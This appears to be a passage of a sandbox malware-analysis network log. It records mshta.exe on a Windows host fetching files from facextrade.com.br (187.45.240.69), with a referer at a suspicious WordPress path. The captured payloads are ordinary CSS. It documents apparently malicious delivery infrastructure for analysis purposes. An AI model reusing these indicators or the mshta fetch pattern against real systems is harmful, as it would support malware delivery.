Aug 16, 2022 11:53:24.656832933 CEST	655	IN	Data Raw: 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 2f 2a 20 50 6f 73 74 73 20 47 72 69 64 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: ; padding: 0 0 20px 0;}/* Posts Grid-----------------------------------------/.posts-grid { margin: 0 0 0 -5%; padding: 0; list-style: none; zoom: 1;}.posts-grid:before,.posts-grid:after { display: table; content: "";
Aug 16, 2022 11:53:24.656869888 CEST	657	IN	Data Raw: 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2f 2a 20 4d 69 6e 69 20 50 6f 73 74 73 20 4c 69 73 74 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e Data Ascii: float: right;}/* Mini Posts List-----------------------------------------*/.mini-posts-list { margin: 0 0 25px; padding: 0; list-style: none;}.mini-post-holder { padding: 15px 0 0; margin: 0 0 9px; border-top: 1px solid #dd
Aug 16, 2022 11:53:24.657033920 CEST	658	IN	Data Raw: 20 30 2c 20 30 2e 30 35 29 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 35 29 3b 0a 7d 0a 2e 73 65 72 76 69 63 65 2d 62 6f 78 20 2e 69 63 6f 6e Data Ascii: 0, 0.05); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);}.service-box .icon { float: left; margin: 0 10px 10px 0;}.service-box h2 { overflow: hidden; margin: 0;}.service-box h5 { overflow: hidden; margin: 0 0 25px;}.se
Aug 16, 2022 11:53:24.657135963 CEST	660	IN	Data Raw: 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 7d 0a 2e 70 6f 73 74 2d 63 79 63 6c 65 5f 69 74 65 6d Data Ascii: splay: none; overflow: hidden; width: 100%; height: 100%;}.post-cycle_item:first-child { display: block;}.post-cycle_item .feature-thumbnail { float: none; margin: 0 0 15px 0;}.post-cycle_item .feature-thumbnail img { float
Aug 16, 2022 11:53:24.657346964 CEST	661	IN	Data Raw: 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 32 35 73 3b 0a 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 32 35 73 3b 0a 20 20 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 30 2e 32 35 73 3b 0a 20 20 74 72 61 6e Data Ascii: webkit-transition: 0.25s; -moz-transition: 0.25s; -o-transition: 0.25s; transition: 0.25s;}.banner-wrap .featured-thumbnail a:hover { border-color: #dddddd;}.banner-wrap h5 { margin: 0 0 8px; color: #000; text-transform: capi
Aug 16, 2022 11:53:24.657430887 CEST	663	IN	Data Raw: 65 6d 20 62 6c 6f 63 6b 71 75 6f 74 65 20 3e 20 61 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 34 65 34 65 34 65 3b 0a 20 20 74 65 78 74 2d 64 Data Ascii: em blockquote > a { position: relative; z-index: 2; color: #4e4e4e; text-decoration: none; overflow: hidden; vertical-align: top;}.testimonials .testi-item blockquote > a:hover { color: #fff;}.testimonials .testi-item .featur
Aug 16, 2022 11:53:24.657593012 CEST	664	IN	Data Raw: 20 7b 0a 20 20 2e 72 6f 75 6e 64 61 62 6f 75 74 2d 68 6f 6c 64 65 72 20 75 6c 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 35 30 70 78 3b 0a 20 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 Data Ascii: { .roundabout-holder ul { width: 100%; height: 150px; }}@media (max-width: 480px) { .roundabout-holder ul { height: 120px; }}/* Site Map---------------------------------------- */.site_map { margin-bottom: 10px;}
Aug 16, 2022 11:53:24.657759905 CEST	665	IN	Data Raw: 76 65 20 3e 20 61 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 64 64 64 64 64 64 3b 0a 7d 0a 2f 2a 20 50 72 69 63 69 6e 67 20 74 61 62 6c 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: ve > a { border-color: #dddddd;}/* Pricing table---------------------------------------- */.price-plans { width: 100%; padding: 20px 0;}.price-plans:before,.price-plans:after { display: table; content: ""; line-height: 0;}
Aug 16, 2022 11:53:24.896869898 CEST	725	IN	Data Raw: 78 20 31 30 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 37 34 63 33 63 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 20 23 65 33 33 30 31 65 Data Ascii: x 10px; background-color: #e74c3c; color: #fff; border-bottom-color: #e3301e;}@media (min-width: 768px) and (max-width: 979px) { .price-plans .plan.highlight h3 { padding: 21px 10px; }}.price-plans .plan.highlight h4 { back

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49192	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:25.135461092 CEST	780	OUT	GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:25.368113995 CEST	782	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:25 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:26:49 GMT ETag: "a514fe-3b24-58592cb795840" Accept-Ranges: bytes Content-Length: 15140 Connection: close Content-Type: text/css Data Raw: 2e 6d 70 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 32 30 70 78 3b 2a 7a 6f 6f 6d 3a 31 7d 2e 6d 70 2d 72 6f 77 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e 22 5d 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 30 70 78 7d 2e 6d 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 32 7b 77 69 64 74 68 3a 39 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 31 7b 77 69 64 74 68 3a 38 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 30 7b 77 69 64 74 68 3a 37 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 39 7b 77 69 64 74 68 3a 37 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 38 7b 77 69 64 74 68 3a 36 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 37 7b 77 69 64 74 68 3a 35 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 36 7b 77 69 64 74 68 3a 34 36 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 35 7b 77 69 64 74 68 3a 33 38 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 34 7b 77 69 64 74 68 3a 33 30 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 33 7b 77 69 64 74 68 3a 32 32 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 32 7b 77 69 64 74 68 3a 31 34 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 7b 77 69 64 74 68 3a 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 32 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 34 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 36 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 38 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 70 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 7b 77 69 64 74 68 3a 31 30 30 25 3b 2a 7a 6f 6f 6d 3a 31 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 62 65 66 6f 72 65 2c 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 5b 63 6c 61 73 73 2a 3d 22 6d 70 2d 73 70 61 6e Data Ascii: .mp-row{margin-left:-20px;zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{display:table;content:"";line-height:0}.mp-row-fluid:after{clear:both}.mp-row-fluid [class="mp-span
Aug 16, 2022 11:53:25.368150949 CEST	783	IN	Data Raw: 22 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 30 70 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 Data Ascii: "]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:left;margin-left:2.127659574468085%;margin-left:2.074468085106383%}.mp-row-fluid [class="mp-span"]:first-child{m
Aug 16, 2022 11:53:25.368175030 CEST	785	IN	Data Raw: 39 35 37 34 34 36 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 37 34 34 36 38 30 38 35 31 30 36 33 38 32 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 35 Data Ascii: 9574467%}.mp-row-fluid .mp-offset11{margin-left:95.74468085106382%;margin-left:95.6382978723404%}.mp-row-fluid .mp-offset11:first-child{margin-left:93.61702127659574%;margin-left:93.51063829787232%}.mp-row-fluid .mp-offset10{margin-left:87.2
Aug 16, 2022 11:53:25.368197918 CEST	786	IN	Data Raw: 33 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 36 2e 31 37 30 32 31 32 37 36 35 39 35 37 34 34 34 25 3b 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 36 2e 30 36 33 38 32 Data Ascii: 3%}.mp-row-fluid .mp-offset4{margin-left:36.170212765957444%;margin-left:36.06382978723405%}.mp-row-fluid .mp-offset4:first-child{margin-left:34.04255319148936%;margin-left:33.93617021276596%}.mp-row-fluid .mp-offset3{margin-left:27.65957446
Aug 16, 2022 11:53:25.368225098 CEST	787	IN	Data Raw: 69 6e 67 3a 30 7d 2e 6d 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 70 2d 72 6f 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 5b 63 6c 61 Data Ascii: ing:0}.mp-container{width:auto}.mp-row-fluid{width:100%}.mp-row{margin-left:0}[class="mp-span"],.mp-row-fluid [class="mp-span"]{float:none;display:block;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-si
Aug 16, 2022 11:53:25.368251085 CEST	789	IN	Data Raw: 6c 75 69 64 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e Data Ascii: luid:after{display:table;content:"";line-height:0}.mp-row-fluid:after{clear:both}.mp-row-fluid [class*="mp-span"]{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;float:lef
Aug 16, 2022 11:53:25.368275881 CEST	790	IN	Data Raw: 37 38 38 39 39 37 32 39 36 32 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 31 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 32 2e 37 36 32 34 33 30 39 33 39 32 32 36 35 32 25 Data Ascii: 7889972962%}.mp-row-fluid .mp-offset12:first-child{margin-left:102.76243093922652%;margin-left:102.6560479605031%}.mp-row-fluid .mp-offset11{margin-left:96.96132596685082%;margin-left:96.8549429881274%}.mp-row-fluid .mp-offset11:first-child{
Aug 16, 2022 11:53:25.368300915 CEST	792	IN	Data Raw: 35 31 34 31 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 32 2e 38 31 37 36 37 39 35 35 38 30 31 31 30 35 25 3b 2a 6d 61 72 67 69 Data Ascii: 51417%}.mp-row-fluid .mp-offset5:first-child{margin-left:42.81767955801105%;margin-left:42.71129657928765%}.mp-row-fluid .mp-offset4{margin-left:37.01657458563536%;margin-left:36.91019160691196%}.mp-row-fluid .mp-offset4:first-child{margin-l
Aug 16, 2022 11:53:25.368324995 CEST	793	IN	Data Raw: 2e 6d 70 2d 73 70 61 6e 32 7b 77 69 64 74 68 3a 31 37 30 70 78 7d 2e 6d 70 2d 73 70 61 6e 31 7b 77 69 64 74 68 3a 37 30 70 78 7d 2e 6d 70 2d 6f 66 66 73 65 74 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 33 30 70 78 7d 2e 6d 70 2d 6f 66 66 Data Ascii: .mp-span2{width:170px}.mp-span1{width:70px}.mp-offset12{margin-left:1230px}.mp-offset11{margin-left:1130px}.mp-offset10{margin-left:1030px}.mp-offset9{margin-left:930px}.mp-offset8{margin-left:830px}.mp-offset7{margin-left:730px}.mp-offset6{ma
Aug 16, 2022 11:53:25.368351936 CEST	795	IN	Data Raw: 36 36 34 37 35 37 32 32 38 35 38 37 30 31 34 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 73 70 61 6e 35 7b 77 69 64 74 68 3a 34 30 2e 31 37 30 39 34 30 31 37 30 39 34 30 31 37 25 3b 2a 77 69 64 74 68 3a 34 30 2e 31 31 37 37 34 38 Data Ascii: 664757228587014%}.mp-row-fluid .mp-span5{width:40.17094017094017%;width:40.11774868157847%}.mp-row-fluid .mp-span4{width:31.623931623931625%;width:31.570740134569924%}.mp-row-fluid .mp-span3{width:23.076923076923077%;*width:23.02373158756137
Aug 16, 2022 11:53:25.596379042 CEST	798	IN	Data Raw: 36 38 2e 32 36 39 36 38 35 33 39 37 33 34 34 39 37 25 7d 2e 6d 70 2d 72 6f 77 2d 66 6c 75 69 64 20 2e 6d 70 2d 6f 66 66 73 65 74 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 32 2e 33 39 33 31 36 32 33 39 33 31 36 32 33 38 35 25 3b 2a 6d 61 72 67 Data Ascii: 68.26968539734497%}.mp-row-fluid .mp-offset7{margin-left:62.393162393162385%;margin-left:62.28677941443899%}.mp-row-fluid .mp-offset7:first-child{margin-left:59.82905982905982%;margin-left:59.72267685033642%}.mp-row-fluid .mp-offset6{margin-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49172	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:18.635107040 CEST	34	OUT	GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:18.852065086 CEST	62	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:44 GMT Server: Apache ETag: "a537ae-1a385-5cd2be5b92824" Last-Modified: Thu, 30 Sep 2021 00:55:04 GMT Content-Length: 107397 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23959700 21188775 Age: 214 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 20 7b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 7d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c 20 76 69 64 65 6f 20 7b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 0a 09 2a 7a 6f 6f 6d 3a 31 3b 0a 7d 0a 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 20 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 7d 0a 68 74 6d 6c 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 7d 0a 61 3a 66 6f 63 75 73 20 7b 0a 09 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 23 33 33 33 3b 0a 09 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 3b 0a 09 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 32 70 78 3b 0a 7d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 20 7b 20 6f 75 74 6c 69 6e 65 3a 30 3b 20 7d 0a 73 75 62 2c 20 73 75 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 7d 0a 73 75 70 20 7b 20 74 6f 70 3a 2d 30 2e 35 65 6d 3b 20 7d 0a 73 75 62 20 7b 20 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 3b 20 7d 0a 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 20 5c 39 3b 0a 09 68 65 69 67 68 74 3a 61 75 74 6f 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 09 2d 6d 73 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 6d 6f 64 65 3a 62 69 63 75 62 69 63 3b 0a 7d 0a 23 6d 61 70 5f 63 61 6e 76 61 73 20 69 6d 67 2c 20 2e 67 6f 6f 67 6c 65 2d 6d 61 70 73 20 69 6d 67 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 20 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 20 7b 0a 09 2a 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0a 7d 0a 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 20 69 6e 70 75 74 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 68 Data Ascii: article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }audio, canvas, video {display:inline-block;display:inline;zoom:1;}audio:not([controls]) { display:none; }html {font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;}a:focus {outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}a:hover, a:active { outline:0; }sub, sup {position:relative;font-size:75%;line-height:0;vertical-align:baseline;}sup { top:-0.5em; }sub { bottom:-0.25em; }img {max-width:100%;width:auto \9;height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic;}#map_canvas img, .google-maps img { max-width:none; }button, input, select, textarea {margin:0;font-size:100%;vertical-align:middle;}button, input {*overflow:visible;line-height:normal;}button::-moz-focus-inner, input::-moz-focus-inner {padding:0;border:0;}button, h
Aug 16, 2022 11:53:18.852091074 CEST	63	IN	Data Raw: 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 61 70 70 Data Ascii: tml input[type="button"], input[type="reset"], input[type="submit"] {-webkit-appearance:button;cursor:pointer;}label, select, button, input[type="button"], input[type="reset"], input[type="submit"], input[type="radio"], input[type="check
Aug 16, 2022 11:53:18.852153063 CEST	65	IN	Data Raw: 6e 74 3a 22 22 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 20 63 6c 65 61 72 3a 62 6f 74 68 3b 20 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 09 66 6f 6e 74 3a 30 2f 30 20 61 3b Data Ascii: nt:"";line-height:0;}.clearfix:after { clear:both; }.hide-text {font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;}.input-block-level {display:block;width:100%;min-height:34px;-webkit-
Aug 16, 2022 11:53:18.852171898 CEST	66	IN	Data Raw: 6e 31 31 20 7b 20 77 69 64 74 68 3a 38 36 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 31 30 20 7b 20 77 69 64 74 68 3a 37 38 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 39 20 7b 20 77 69 64 74 68 3a 37 30 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 38 20 7b 20 77 69 64 Data Ascii: n11 { width:860px; }.span10 { width:780px; }.span9 { width:700px; }.span8 { width:620px; }.span7 { width:540px; }.span6 { width:460px; }.span5 { width:380px; }.span4 { width:300px; }.span3 { width:220px; }.span2 { width:140px; }.span
